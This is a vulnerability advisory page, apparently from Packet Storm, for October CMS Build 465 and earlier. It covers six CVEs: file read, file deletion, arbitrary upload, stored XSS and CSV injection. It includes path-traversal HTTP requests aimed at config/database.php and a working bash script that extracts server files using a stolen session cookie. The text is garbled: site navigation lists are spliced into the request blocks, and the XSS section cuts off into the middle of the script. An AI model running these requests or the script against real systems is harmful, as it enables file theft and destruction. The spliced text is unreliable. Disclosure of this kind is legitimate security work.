

October CMS Build 465 XSS / File Read / File Deletion / CSV Injection

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October CMS builds 465 and below suffer from arbitrary file read, arbitrary file deletion, file uploading to arbitrary locations, persistent and reflective cross site scripting, and CSV injection vulnerabilities.

tags | [exploit](#), [arbitrary](#), [vulnerability](#), [xss](#), [file upload](#)

advisories | [CVE-2020-11083](#), [CVE-2020-5295](#), [CVE-2020-5296](#), [CVE-2020-5297](#), [CVE-2020-5298](#), [CVE-2020-5299](#)

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#####
# October CMS <= Build 465 Multiple Vulnerabilities #
#####
```

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```
Date       : 2020-03-31
Vendor     : https://octobercms.com/
Version    : <= Build 465
Tested on  : Build 465
CVE        : CVE-2020-5295, CVE-2020-5296, CVE-2020-5297, CVE-2020-5298, CVE-2020-5299, CVE-2020-11083
Last Modified: 2020-08-03
```

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October CMS is an open source content management system based on PHP and Laravel framework. This article details the multiple vulnerabilities that were discovered in the application. These vulnerabilities can be exploited by an attacker with certain permission, to read sensitive files in the server, delete or replace certain sensitive files in the server, run arbitrary client side code in the context of the victim, execute arbitrary code on the victim's computer.

--[01 - Exploit

A PoC exploit that retrieves any file from October CMS when provided with the cookies of a user with "Manage website assets" permission can be found in the following link

https://github.com/staz0t/exploits/blob/master/SA20200331_octobercms_arbitrary_file_read.sh

Packet Storm Note: See bottom of file for attached exploit.

--[02 - Arbitrary File Read

An attacker with "Manage website assets" permission can exploit this vulnerability to read local files of an October CMS server. The vulnerability exists in the functionality that lets a user with "Manage website assets" permission to edit assets.

--[02.1 - Source code analysis

The function that is responsible for opening files to edit is `index_onOpenTemplate()` which is defined in `modules/cms/controllers/index.php:148`

----[code segment]----

```
public function index_onOpenTemplate()
{
    $this->validateRequestTheme();

    $type = Request::input('type');
    $template = $this->loadTemplate($type, Request::input('path'));
    $widget = $this->makeTemplateFormWidget($type, $template);
}
```

The above code segment from `index_onOpenTemplate()` function shows that the `$template` variable is initialized directly using the `'path'` parameter without validation. Hence, the `'path'` parameter can hold the path of any file in the server, the `loadTemplate()` function will retrieve its contents and store it in `$template->content` which is then returned to the user.

--[02.2 - Exploitation

To exploit this request, an attacker with "Manage website assets" permission has to edit the `'path'` parameter in the request that retrieves the assets for editing. For example, the following request will retrieve the contents of `config/database.php` file.

----[request]----

```
POST /backend/cms HTTP/1.1
X-OCTOBER-REQUEST-HANDLER: onOpenTemplate
```

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Systems

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Gentoo (4,272)

HPUX (878)

iOS (330)

iPhone (108)

IRIX (220)

Juniper (67)

Linux (44,315)

Mac OS X (684)

Mandriva (3,105)

NetBSD (255)

OpenBSD (479)

RedHat (12,469)

Slackware (941)

Solaris (1,607)

```

X-CSRF-TOKEN: (insert-csrf-token-here)
X-Requested-With: XMLHttpRequest
Cookie: (insert-cookie-here)

theme={insert-theme-name}&type=asset&path=../.././config/database.php

----[ request ]----

A script to exploit this vulnerability can be found in the '07 - Exploit'
section below.

--[ 02.3 - References
[CVE-2020-5295] - https://nvd.nist.gov/vuln/detail/CVE-2020-5295
[Advisory] - https://github.com/octobercms/october/security/advisories/GHSA-r23f-c2j5-rx2f

--[ 03 - Arbitrary File Deletion

This vulnerability can be exploited by an attacker to delete files in the
server. The vulnerability exists in the functionality that allows a user
with "Manage website assets" permission to edit and save assets.

--[ 03.1 - Source code analysis

The way that October CMS handles saving is by deleting the existing file
and creating a new one with the new content. The function onSave(), defined
in modules/cms/controllers/Index.php:181, is responsible for saving an
edited asset.

----[ code segment ]----

    public function onSave()
    {
        $this->validateRequestTheme();
        $type = Request::input('templateType');
        $templatePath = trim(Request::input('templatePath'));
        .
        .
        .
        $template->save();
        $this->fireSystemEvent('cms.template.save', [$template, $type]);
        Flash::success(Lang::get('cms::lang.template.saved'));
        return $this->getUpdateResponse($template, $type);
    }

----[ code segment ]----

As shown in the above code segment, $templatePath variable is not validated
but directly passed to the function save(), which is defined in
modules/cms/classes/Asset.php:195.

----[ code segment ]----

    public function save()
    {
        $this->validateFileName();

----[ code segment ]----

The save() function only validates the new filename and the file extension
but not the template path. So $templatePath can be the path to any file in
the server. As stated above, the server will first delete the $templatePath
file and create a new file with $filename and with the new content in the
assets directory.

--[ 03.2 Exploitation

To exploit this issue, an attacker with "Manager website assets" permission
has to modify the templatePath parameter to the file that the attacker
wants to be deleted. For example, the following request deletes the
config/database.php.

----[ request ]----

POST /backend/cms HTTP/1.1
X-OCTOBER-REQUEST-HANDLER: onSave
X-CSRF-TOKEN: (insert-csrf-token-here)
X-Requested-With: XMLHttpRequest
Cookie: (insert-cookie-here)

fileName=test.js&content=test&type=asset&templatePath=../.././config/database.php&theme={insert-theme-
name}&templateMtime={insert-mtime-here}

----[ request ]----

In the above request, fileName parameter in the name of the file that gets
created. This can be anything with cms, js, less, sass, scss extensions,
because it is validated by validateFileName() function.

templateMtime is a number that is generated by the server. The attacker can
obtain the mtime of a file by retrieving it using the Arbitrary File Read
vulnerability.

--[ 03.3 - References
[CVE-2020-5296] - https://nvd.nist.gov/vuln/detail/CVE-2020-5296
[Advisory] - https://github.com/octobercms/october/security/advisories/GHSA-jv6v-fvwx-4932

--[ 04 - Upload of Whitelisted File Types to Arbitrary Location

An attacker can exploit this vulnerability to upload jpg, jpeg, bmp, png,
webp, gif, ico, css, js, woff, woff2, svg, ttf, eot, json, md, less, sass,
scss, xml files to any directory in the server. The vulnerability exists in
the functionality that lets a user with "Manage website assets" permission
to move assets from one folder to another.

-[ 04.1 - Source code analysis

The function that is responsible for moving assets is onMove() which is
defined in modules/cms/widgets/AssetList.php:305.

----[ code segment ]----

    public function onMove()
    {
        $this->validateRequestTheme();

        $selectedList = Input::get('selectedList');
        if (!strlen($selectedList)) {
            throw new ApplicationException(Lang::get('cms::lang.asset.selected_files_not_found'));
        }

        $destinationDir = Input::get('dest');
        if (!strlen($destinationDir)) {
            throw new ApplicationException(Lang::get('cms::lang.asset.select_destination_dir'));
        }

        $destinationFullPath = $this->getFullPath($destinationDir);
        if (!file_exists($destinationFullPath) || !is_dir($destinationFullPath)) {
            throw new ApplicationException(Lang::get('cms::lang.asset.destination_not_found'));
        }

----[ code segment ]----

As shown in the above code segment, the function initiates $destinationDir
variable directly from the 'dest' parameter. And the $destinationDir
variable is not validated. Since the function moves the files mentioned in
the $selectedList to $destinationDir directory. Since the $destinationDir
is not validated, a file in the assets folder can be moved to any directory
in the server.

--[ 04.2 - Exploitation

This vulnerability can be exploited by an attacker with "Manage website
assets" permission, by modifying the 'dest' parameter in the request sent
to the server for moving an asset file. For example, the following request
can move test.js file from the assets directory to the config directory.

----[ request ]----

POST /backend/cms HTTP/1.1
X-OCTOBER-REQUEST-HANDLER: assetList:onMove
X-CSRF-TOKEN: (insert-csrf-token-here)
X-Requested-With: XMLHttpRequest

```

Spoof (2,166)	SUSE (1,444)
SQL Injection (16,102)	Ubuntu (8,199)
TCP (2,379)	UNIX (9,159)
Trojan (686)	UnixWare (185)
UDP (676)	Windows (6,511)
Virus (662)	Other
Vulnerability (31,136)	
Web (9,365)	
Whitepaper (3,729)	
x86 (946)	
XSS (17,494)	
Other	

```

Cookie: (insert-cookie-here)

dest=../../config/&theme={insert-theme-name}&selectedList=WyJcL3Rlc3QuanMlXQ==

---[ request ]---

The selectedList parameter is the base64 encoded version of the json
'["\test.js"]' because that is how the server expects the parameter to be
formatted.

This vulnerability can be chained with the Arbitrary File Deletion
vulnerability to delete and replace sensitive files in the server.

--[ 04.3 - References
[CVE-2020-5297] - https://nvd.nist.gov/vuln/detail/CVE-2020-5297
[Advisory] - https://github.com/octobercms/october/security/advisories/GHSA-9722-rr68-rfpg

--[ 05 - Stored Cross-Site Scripting (XSS)

The application is vulnerable to Stored XSS in the 'Post Creation'
functionality. An attacker with "Manage the blog posts" permission can
execute arbitrary client side code in the context of the victim, who could
be the admin.

--[ 05.1 - Exploitation

Here is how a user with "Manage the blog posts" permission can execute
arbitrary client side code in the context of the admin.

1. Go to the Blog section and select New Post

2. Enter the payload in the blog's content
   For example,
    /dev/null

if [[ ! `command -v recode` ]]; then
    echo -e "[!] Missing package 'recode'\n[!] Install 'recode' using the respective command to resume\n[!] sudo
apt install recode\n[!] sudo pacman -S recode\n[!] yum install recode"
    echo -e "[*] Exiting!\n"
    exit 0
fi

read -p "[*] Enter target host (with http/https): " host
echo ""
read -p "[*] Enter your cookie value: " cookie

curl -s -X GET -H "Cookie: $cookie" "$host/backend/cms" > /tmp/ocms_gethtml

if [[ ! `awk '/<span class="nav-label">/,/</span>/' /tmp/ocms_gethtml | grep "Assets" ` ]]; then
    echo -e "[*] Invalid cookie\n[!] Either the user does not have the privilege to modify assets or the cookie
is invalid"
    echo -e "[*] Exiting!\n"
    exit 0
fi

echo '''
[!] Relative path to the target file is required.
eg. config/database.php
If you are unsure about the path, check OctoberCMS github which has the default file system hosted
https://github.com/octobercms/october
'''

read -p "[*] Enter path to the target file: " targetfile
themenamename=`grep "data-item-theme" /tmp/ocms_gethtml -m 1 | awk -F' "' '{print $6}'`
csrf-token=`grep "csrf-token" /tmp/ocms_gethtml | awk -F' "' '{print $4}'`

curl -s -X POST -H "Cookie: $cookie" -H "X-CSRF-TOKEN: $csrf-token" -H "X-OCTOBER-REQUEST-HANDLER:
onOpenTemplate" -H "X-Requested-With: XMLHttpRequest" -d "theme=$themenamename" -d "type=asset" -d
"path=../../$targetfile" "$host/backend/cms" > /tmp/ocms_jsonres

cat /tmp/ocms_jsonres | jq -r '.tab' 2> /dev/null | awk '/<textarea/,/</textarea>/' 2> /dev/null | recode html
> /tmp/ocms_file 2> /dev/null

if [[ `cat /tmp/ocms_file` ]]; then
    cp /tmp/ocms_file ./october_extractedfile
    echo -e "\n[*] File saved as ./october_extractedfile!\n"
    exit 1
else
    echo -e "\n[!] Error extracting file. Check /tmp/ocms_jsonres for the server response. Exiting!\n"
    exit 0
fi

--- end SA20200331_octobercms_arbitrary_file_read.sh ---
```

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